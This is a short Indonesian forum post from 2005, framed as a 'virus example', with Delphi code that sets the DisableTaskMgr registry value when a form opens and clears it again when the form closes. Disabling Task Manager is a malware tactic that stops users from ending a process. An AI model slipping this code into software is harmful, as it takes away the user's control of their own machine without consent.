Contoh Virus dengan Delphi

Procedure DisabledTaskManger Dgn Delphi ();

//– Dikirim oleh: saysansay pada Tuesday, December 27, 2005, 649 Reads
//– Topik: TipDanTrik Tuesday, December 27, 2005 – 03:35 AM, (Dibaca 649 kali)

procedure Tform1.FormCreate(Sender: TObject);
var
Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey(‘\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System’, True)
then Reg.WriteInteger(‘DisableTaskMgr’,1);
finally
Reg.CloseKey;
Reg.Free;
end;

end;

Syntax Highlighted with http://delphi-id.org/syntax

// Ingat untuk Restore Ke State System agar normal setelah keluar gunakan kode ini
//diform event ondestroy
procedure Tcontrolform.FormDestroy(Sender: TObject);
var
Reg: TRegistry;
begin

Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey(‘\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System’, True)
then Reg.WriteInteger(‘DisableTaskMgr’,0);
finally
Reg.CloseKey;
Reg.Free;
end;

end;